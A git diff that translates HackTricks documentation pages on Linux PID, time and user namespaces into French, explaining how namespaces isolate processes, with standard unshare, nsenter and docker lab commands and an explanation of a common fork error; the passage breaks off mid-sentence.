+De plus, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous ne pouvez **pas entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/net`). diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index a382b4ca8..47ef1301c 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -1,87 +1,77 @@ -# PID Namespace +# Espace de noms PID
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management. +L'espace de noms PID (Process IDentifier) est une fonctionnalité du noyau Linux qui permet l'isolation des processus en permettant à un groupe de processus d'avoir son propre ensemble de PID uniques, séparés des PID dans d'autres espaces de noms. Cela est particulièrement utile dans la conteneurisation, où l'isolation des processus est essentielle pour la sécurité et la gestion des ressources. -When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces. +Lorsqu'un nouvel espace de noms PID est créé, le premier processus de cet espace de noms se voit attribuer le PID 1. Ce processus devient le processus "init" du nouvel espace de noms et est responsable de la gestion des autres processus dans l'espace de noms. Chaque processus ultérieur créé dans l'espace de noms aura un PID unique dans cet espace de noms, et ces PID seront indépendants des PID dans d'autres espaces de noms. -From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another. +Du point de vue d'un processus dans un espace de noms PID, il ne peut voir que les autres processus dans le même espace de noms. Il n'est pas conscient des processus dans d'autres espaces de noms, et il ne peut pas interagir avec eux en utilisant des outils de gestion de processus traditionnels (par exemple, `kill`, `wait`, etc.). Cela fournit un niveau d'isolation qui aide à empêcher les processus de s'interférer les uns avec les autres. -### How it works: +### Comment ça marche : -1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. -2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. -3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. -4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. +1. Lorsqu'un nouveau processus est créé (par exemple, en utilisant l'appel système `clone()`), le processus peut être affecté à un espace de noms PID nouveau ou existant. **Si un nouvel espace de noms est créé, le processus devient le processus "init" de cet espace de noms**. +2. Le **noyau** maintient une **correspondance entre les PID dans le nouvel espace de noms et les PID correspondants** dans l'espace de noms parent (c'est-à-dire l'espace de noms à partir duquel le nouvel espace de noms a été créé). Cette correspondance **permet au noyau de traduire les PID lorsque cela est nécessaire**, par exemple lors de l'envoi de signaux entre des processus dans différents espaces de noms. +3. **Les processus dans un espace de noms PID ne peuvent voir et interagir qu'avec les autres processus dans le même espace de noms**. Ils ne sont pas conscients des processus dans d'autres espaces de noms, et leurs PID sont uniques dans leur espace de noms. +4. Lorsqu'un **espace de noms PID est détruit** (par exemple, lorsque le processus "init" de l'espace de noms quitte), **tous les processus dans cet espace de noms sont terminés**. Cela garantit que toutes les ressources associées à l'espace de noms sont correctement nettoyées. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces de noms #### CLI - ```bash sudo unshare -pf --mount-proc /bin/bash ``` -
-Error: bash: fork: Cannot allocate memory +Erreur : bash: fork : Impossible d'allouer de la mémoire -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +Si vous exécutez la ligne précédente sans `-f`, vous obtiendrez cette erreur.\ +L'erreur est causée par la sortie du processus PID 1 dans le nouveau namespace. +Après le démarrage de bash, celui-ci va créer plusieurs nouveaux sous-processus pour effectuer des actions. Si vous exécutez unshare sans -f, bash aura le même PID que le processus "unshare" actuel. Le processus "unshare" actuel appelle le système unshare, crée un nouveau namespace PID, mais le processus "unshare" actuel n'est pas dans le nouveau namespace PID. C'est le comportement souhaité du noyau Linux : le processus A crée un nouveau namespace, le processus A lui-même ne sera pas mis dans le nouveau namespace, seuls les sous-processus du processus A seront mis dans le nouveau namespace. Donc, lorsque vous exécutez : ``` unshare -p /bin/bash ``` +Le processus unshare exécutera /bin/bash, et /bin/bash créera plusieurs sous-processus. Le premier sous-processus de bash deviendra le PID 1 du nouveau namespace, et le sous-processus se terminera après avoir terminé son travail. Ainsi, le PID 1 du nouveau namespace se termine. -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +Le processus PID 1 a une fonction spéciale : il doit devenir le processus parent de tous les processus orphelins. Si le processus PID 1 dans le namespace racine se termine, le noyau panique. Si le processus PID 1 dans un sous-namespace se termine, le noyau Linux appellera la fonction disable\_pid\_allocation, qui nettoiera le drapeau PIDNS\_HASH\_ADDING dans ce namespace. Lorsque le noyau Linux crée un nouveau processus, il appelle la fonction alloc\_pid pour allouer un PID dans un namespace, et si le drapeau PIDNS\_HASH\_ADDING n'est pas défini, la fonction alloc\_pid renverra une erreur -ENOMEM. C'est pourquoi vous obtenez l'erreur "Cannot allocate memory". +Vous pouvez résoudre ce problème en utilisant l'option '-f': ``` unshare -fp /bin/bash ``` +Si vous exécutez unshare avec l'option '-f', unshare va créer un nouveau processus après avoir créé le nouveau namespace pid. Et exécuter /bin/bash dans le nouveau processus. Le nouveau processus sera le pid 1 du nouveau namespace pid. Ensuite, bash va également créer plusieurs sous-processus pour effectuer des tâches. Comme bash lui-même est le pid 1 du nouveau namespace pid, ses sous-processus peuvent se terminer sans aucun problème. -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +Copié depuis [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
-By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**. #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace are your process in - +### Vérifier dans quel namespace se trouve votre processus ```bash ls -l /proc/self/ns/pid lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ``` - -### Find all PID namespaces +### Trouver tous les espaces de noms PID {% code overflow="wrap" %} ```bash @@ -89,26 +79,12 @@ sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | ``` {% endcode %} -Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces. - -### Enter inside a PID namespace +Notez que l'utilisateur root de l'espace de noms PID initial (par défaut) peut voir tous les processus, même ceux dans de nouveaux espaces de noms PID, c'est pourquoi nous pouvons voir tous les espaces de noms PID. +### Entrer dans un espace de noms PID ```bash nsenter -t TARGET_PID --pid /bin/bash ``` +Lorsque vous entrez dans un espace de noms PID à partir de l'espace de noms par défaut, vous pourrez toujours voir tous les processus. Et le processus de cet espace de noms PID pourra voir le nouveau bash sur l'espace de noms PID. -When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns. - -Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`) - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+De plus, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous ne pouvez **pas entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/pid`). diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 178810a24..0900f7fa2 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -1,76 +1,66 @@ -# Time Namespace +# Espace de temps
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -The time namespace allows for per-namespace offsets to the system monotonic and boot-time clocks. The time namespace is suited for Linux containers usage for allowing the date/time to be changed within a container and for adjusting clocks within a container following restoration from a checkpoint/snapshot. +L'espace de temps permet des décalages par espace de noms pour les horloges monotones et de démarrage du système. L'espace de temps est adapté à l'utilisation de conteneurs Linux pour permettre la modification de la date/heure dans un conteneur et pour ajuster les horloges dans un conteneur après la restauration d'un point de contrôle/snapshot. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces de noms #### CLI - ```bash sudo unshare -T [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` en utilisant le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +Si vous exécutez la ligne précédente sans `-f`, vous obtiendrez cette erreur.\ +L'erreur est causée par la sortie du processus PID 1 dans le nouveau namespace. +Après le démarrage de bash, celui-ci va créer plusieurs nouveaux sous-processus pour effectuer des actions. Si vous exécutez unshare sans -f, bash aura le même PID que le processus "unshare" actuel. Le processus "unshare" actuel appelle l'appel système unshare, crée un nouveau namespace PID, mais le processus "unshare" actuel n'est pas dans le nouveau namespace PID. C'est le comportement souhaité du noyau Linux : le processus A crée un nouveau namespace, le processus A lui-même ne sera pas mis dans le nouveau namespace, seuls les sous-processus du processus A seront mis dans le nouveau namespace. Ainsi, lorsque vous exécutez : ``` unshare -p /bin/bash ``` +Le processus unshare exécutera /bin/bash, et /bin/bash créera plusieurs sous-processus, le premier sous-processus de bash deviendra le PID 1 du nouveau namespace, et le sous-processus se terminera après avoir terminé son travail. Ainsi, le PID 1 du nouveau namespace se termine. -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +Le processus PID 1 a une fonction spéciale : il doit devenir le processus parent de tous les processus orphelins. Si le processus PID 1 dans le namespace racine se termine, le noyau panique. Si le processus PID 1 dans un sous-namespace se termine, le noyau Linux appellera la fonction disable\_pid\_allocation, qui nettoiera le drapeau PIDNS\_HASH\_ADDING dans ce namespace. Lorsque le noyau Linux crée un nouveau processus, il appelle la fonction alloc\_pid pour allouer un PID dans un namespace, et si le drapeau PIDNS\_HASH\_ADDING n'est pas défini, la fonction alloc\_pid renverra une erreur -ENOMEM. C'est pourquoi vous obtenez l'erreur "Cannot allocate memory". +Vous pouvez résoudre ce problème en utilisant l'option '-f': ``` unshare -fp /bin/bash ``` +Si vous exécutez unshare avec l'option '-f', unshare va créer un nouveau processus après avoir créé le nouveau namespace pid. Et exécuter /bin/bash dans le nouveau processus. Le nouveau processus sera le pid 1 du nouveau namespace pid. Ensuite, bash va également créer plusieurs sous-processus pour effectuer des tâches. Comme bash lui-même est le pid 1 du nouveau namespace pid, ses sous-processus peuvent se terminer sans aucun problème. -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +Traduit de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifier dans quel namespace se trouve votre processus ```bash ls -l /proc/self/ns/time lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' ``` - -### Find all Time namespaces +### Trouver tous les espaces de noms de temps {% code overflow="wrap" %} ```bash @@ -80,22 +70,8 @@ sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | ``` {% endcode %} -### Enter inside a Time namespace - +### Entrer dans un namespace de temps ```bash nsenter -T TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+De plus, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous ne pouvez **pas entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/net`). diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 04f4335a5..1f89ba1f7 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -1,101 +1,87 @@ -# User Namespace +# Espace utilisateur
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically. +Un espace utilisateur est une fonctionnalité du noyau Linux qui **fournit une isolation des mappages d'ID utilisateur et de groupe**, permettant à chaque espace utilisateur d'avoir son **propre ensemble d'ID utilisateur et de groupe**. Cette isolation permet aux processus s'exécutant dans différents espaces utilisateur d'avoir des **privilèges et une propriété différents**, même s'ils partagent les mêmes ID utilisateur et de groupe numériques. -User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system. +Les espaces utilisateur sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre ensemble indépendant d'ID utilisateur et de groupe, permettant une meilleure sécurité et une meilleure isolation entre les conteneurs et le système hôte. -### How it works: +### Comment ça marche : -1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**. -2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace. -3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**. -4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace. +1. Lorsqu'un nouvel espace utilisateur est créé, il **commence avec un ensemble vide de mappages d'ID utilisateur et de groupe**. Cela signifie que tout processus s'exécutant dans le nouvel espace utilisateur n'aura **initialement aucun privilège en dehors de l'espace utilisateur**. +2. Des mappages d'ID peuvent être établis entre les ID utilisateur et de groupe dans le nouvel espace et ceux dans l'espace parent (ou hôte). Cela **permet aux processus dans le nouvel espace d'avoir des privilèges et une propriété correspondant aux ID utilisateur et de groupe dans l'espace parent**. Cependant, les mappages d'ID peuvent être restreints à des plages et des sous-ensembles d'ID spécifiques, permettant un contrôle fin sur les privilèges accordés aux processus dans le nouvel espace. +3. Dans un espace utilisateur, **les processus peuvent avoir des privilèges root complets (UID 0) pour les opérations à l'intérieur de l'espace**, tout en ayant des privilèges limités à l'extérieur de l'espace. Cela permet aux **conteneurs de s'exécuter avec des capacités similaires à root dans leur propre espace sans avoir de privilèges root complets sur le système hôte**. +4. Les processus peuvent passer d'un espace à un autre en utilisant l'appel système `setns()` ou créer de nouveaux espaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUSER`. Lorsqu'un processus passe à un nouvel espace ou en crée un, il commencera à utiliser les mappages d'ID utilisateur et de groupe associés à cet espace. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces #### CLI - ```bash sudo unshare -U [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` en utilisant le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +Si vous exécutez la ligne précédente sans `-f`, vous obtiendrez cette erreur.\ +L'erreur est causée par la sortie du processus PID 1 dans le nouveau namespace. +Après le démarrage de bash, celui-ci va créer plusieurs nouveaux sous-processus pour effectuer des actions. Si vous exécutez unshare sans -f, bash aura le même PID que le processus "unshare" actuel. Le processus "unshare" actuel appelle l'appel système unshare, crée un nouveau namespace PID, mais le processus "unshare" actuel n'est pas dans le nouveau namespace PID. C'est le comportement souhaité du noyau Linux : le processus A crée un nouveau namespace, le processus A lui-même ne sera pas mis dans le nouveau namespace, seuls les sous-processus du processus A seront mis dans le nouveau namespace. Ainsi, lorsque vous exécutez : ``` unshare -p /bin/bash ``` +Le processus unshare exécutera /bin/bash, et /bin/bash créera plusieurs sous-processus, le premier sous-processus de bash deviendra le PID 1 du nouveau namespace, et le sous-processus se terminera après avoir terminé son travail. Ainsi, le PID 1 du nouveau namespace se 